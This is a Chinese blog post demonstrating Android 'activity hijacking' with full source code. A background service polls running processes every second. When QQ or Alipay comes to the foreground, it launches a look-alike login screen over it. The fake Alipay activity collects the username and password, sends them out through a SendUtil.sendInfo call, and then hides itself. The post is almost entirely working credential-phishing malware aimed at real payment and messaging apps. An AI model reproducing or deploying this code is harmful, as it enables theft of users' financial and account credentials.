Activity劫持

    package com.sinaapp.msdxblog.android.activityhijacking.service;

    import java.util.HashMap;
    import java.util.List;

    import android.app.ActivityManager;
    import android.app.ActivityManager.RunningAppProcessInfo;
    import android.app.Service;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Handler;
    import android.os.IBinder;
    import android.util.Log;

    import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
    import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

    /**
     * @author Geek_Soledad ([email protected])
     */
    public class HijackingService extends Service {
        private boolean hasStart = false;
        // 这是一个悲伤的故事……
        HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

        // Timer mTimer = new Timer();
        Handler handler = new Handler();

        Runnable mTask = new Runnable() {

            @Override
            public void run() {
                ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
                List<RunningAppProcessInfo> appProcessInfos = activityManager
                        .getRunningAppProcesses();
                // 枚举进程
                Log.w("hijacking", "正在枚举进程");
                for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
                    // 如果APP在前台，那么——悲伤的故事就要来了
                    if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                        if (mSadStories.containsKey(appProcessInfo.processName)) {
                            // 进行劫持
                            hijacking(appProcessInfo.processName);
                        } else {
                             Log.w("hijacking", appProcessInfo.processName);
                        }
                    }
                }
                handler.postDelayed(mTask, 1000);
            }

            /**
             * 进行劫持
             * @param processName
             */
            private void hijacking(String processName) {
                Log.w("hijacking", "有程序要悲剧了……");
                if (((HijackingApplication) getApplication())
                        .hasProgressBeHijacked(processName) == false) {
                    Log.w("hijacking", "悲剧正在发生");
                    Intent jackingIsComing = new Intent(getBaseContext(),
                            mSadStories.get(processName));
                    jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    getApplication().startActivity(jackingIsComing);
                    ((HijackingApplication) getApplication())
                            .addProgressHijacked(processName);
                    Log.w("hijacking", "已经劫持");
                }
            }
        };

        @Override
        public IBinder onBind(Intent intent) {
            return null;
        }

        @Override
        public void onStart(Intent intent, int startId) {
            super.onStart(intent, startId);
            if (!hasStart) {
                mSadStories.put("com.sinaapp.msdxblog.android.lol",
                        JokeActivity.class);
                mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
                mSadStories.put("com.eg.android.AlipayGphone",
                        AlipayStoryActivity.class);
                handler.postDelayed(mTask, 1000);
                hasStart = true;
            }
        }

        @Override
        public boolean stopService(Intent name) {
            hasStart = false;
            Log.w("hijacking", "劫持服务停止");
            ((HijackingApplication) getApplication()).clearProgressHijacked();
            return super.stopService(name);
        }
    }

下面是支付宝的伪装类（布局文件就不写了，这个是对老版本的支付宝界面的伪装，新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼，读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层，而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件）。
Java代码收藏代码

    /*
     * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo
     * Date:2012-6-7
     *
     * Copyright (c) 2011 CFuture09, Institute of Software,
     * Guangdong Ocean University, Zhanjiang, GuangDong, China.
     * All rights reserved.
     *
     * Licensed under the Apache License, Version 2.0 (the "License");
     * you may not use this file except in compliance with the License.
     * You may obtain a copy of the License at
     *
     *     http://www.apache.org/licenses/LICENSE-2.0
     *
     * Unless required by applicable law or agreed to in writing, software
     * distributed under the License is distributed on an "AS IS" BASIS,
     * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     * See the License for the specific language governing permissions and
     * limitations under the License.
     */
    package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

    import android.app.Activity;
    import android.os.Bundle;
    import android.os.Handler;
    import android.os.HandlerThread;
    import android.text.Html;
    import android.view.View;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.TextView;

    import com.sinaapp.msdxblog.android.activityhijacking.R;
    import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

    /**
     * @author Geek_Soledad ([email protected])
     */
    public class AlipayStoryActivity extends Activity {
        private EditText name;
        private EditText password;
        private Button mBtAlipay;
        private Button mBtTaobao;
        private Button mBtRegister;

        private TextView mTvFindpswd;

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            this.setTheme(android.R.style.Theme_NoTitleBar);
            setContentView(R.layout.alipay);
            mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
            mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
            mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
            mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
            mTvFindpswd.setText(Html.fromHtml(" 找回登录密码"));
            mBtAlipay.setSelected(true);

            name = (EditText) findViewById(R.id.input_name);
            password = (EditText) findViewById(R.id.input_password);

        }

        public void onButtonClicked(View v) {
            switch (v.getId()) {
            case R.id.alipay_bt_login:
                HandlerThread handlerThread = new HandlerThread("send");
                handlerThread.start();
                new Handler(handlerThread.getLooper()).post(new Runnable() {
                    @Override
                    public void run() {
                        // 发送获取到的用户密码
                        SendUtil.sendInfo(name.getText().toString(), password
                                .getText().toString(), "支付宝");
                    }
                });
                moveTaskToBack(true);

                break;
            case R.id.alipay_bt_alipay:
                chooseToAlipay();
                break;
            case R.id.alipay_bt_taobao:
                chooseToTaobao();
                break;
            default:
                break;
            }
        }

        private void chooseToAlipay() {
            mBtAlipay.setSelected(true);
            mBtTaobao.setSelected(false);
            name.setHint(R.string.alipay_name_alipay_hint);
            mTvFindpswd.setVisibility(View.VISIBLE);
            mBtRegister.setVisibility(View.VISIBLE);
        }

        private void chooseToTaobao() {
            mBtAlipay.setSelected(false);
            mBtTaobao.setSelected(true);
            name.setHint(R.string.alipay_name_taobao_hint);
            mTvFindpswd.setVisibility(View.GONE);
            mBtRegister.setVisibility(View.GONE);
        }
    }

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